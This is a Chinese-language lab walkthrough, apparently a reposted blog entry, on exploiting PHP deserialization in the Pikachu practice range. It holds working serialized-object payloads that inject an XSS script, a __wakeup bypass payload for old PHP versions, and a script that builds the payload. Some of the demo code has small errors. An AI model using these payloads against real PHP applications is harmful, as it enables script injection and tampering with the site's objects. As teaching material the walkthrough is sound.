欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PiKachu靶场之PHP反序列化漏洞

程序员文章站 2022-05-11 18:06:13
...

前言

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

  • 序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
  • 反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用 (在echo时被触发)

        __sleep() 在对象在被序列化之前运行

        __wakeup将在反序列化时被触发

        __call 在一个未被定义的函数调用时被触发

 

 

漏洞举例

Demo1:

class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}

$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

Demo2:

class Demo
{

    public $data;

    public function __construct($data)
    {
        $this->data = $data;
        echo "construct<br />";
    }

    public function __wakeup()
    {
        echo "wake up<br />";
    }

    public function __destruct()
    {
        echo "Data's value is $this->data. <br />";
        echo "destruct<br />";
    }
}

var_dump(serialize(new Demo("raw value")));

输出:

construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

把序列化的字符串修改一下后,执行:

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出

wake up
Data's value is malicious value.
destruct

这里看到,值被修改了。

上面是一个 unserialize() 的简单应用,不难看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在 __wakeup() 中加入判断是否可以阻止这个漏洞呢? 在 __wakeup() 中我们加入一行代码:

public function __wakeup()
{
    if($this->data != 'raw value') $this->data = 'raw value';
    echo "wake up<br />";
}

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload:

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出:

Data's value is malicious value.
destruct

这里wakeup被绕过,值依旧被修改了。

 

 

 

一、PHP反序列漏洞

反序列漏洞一般通过代码审计发现。

分析

于是我们审查一下unser.php:

PiKachu靶场之PHP反序列化漏洞

发现类S的__construct方法被重写了:  直接输出test的值

然后将POST的参数o赋值给s,  再将s反序列化后的值赋值给unser变量,  并用@符合不输出警告 (强制转化变量的警告)

若能进行赋值操作,  即s能被反序列化,  就将反序列后的值作为p标签写入到网页中。

我们写一个serialize.php:

<?php

// 构造与目标后端同一个类
class S{
    var $test = "<script>alert('xss')</script>";
}

echo '<br>';
$a = new S();
echo serialize($a);
?>

然后已查看源码的形式访问url:

view-source:http://localhost/pikachu-master/vul/unserilization/serialize.php

PiKachu靶场之PHP反序列化漏洞

得到序列化后的值:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

注入到有反序列化漏洞的网站:

PiKachu靶场之PHP反序列化漏洞

这样利用反序列漏洞引申出xss漏洞了。

相关标签: Pikachu靶场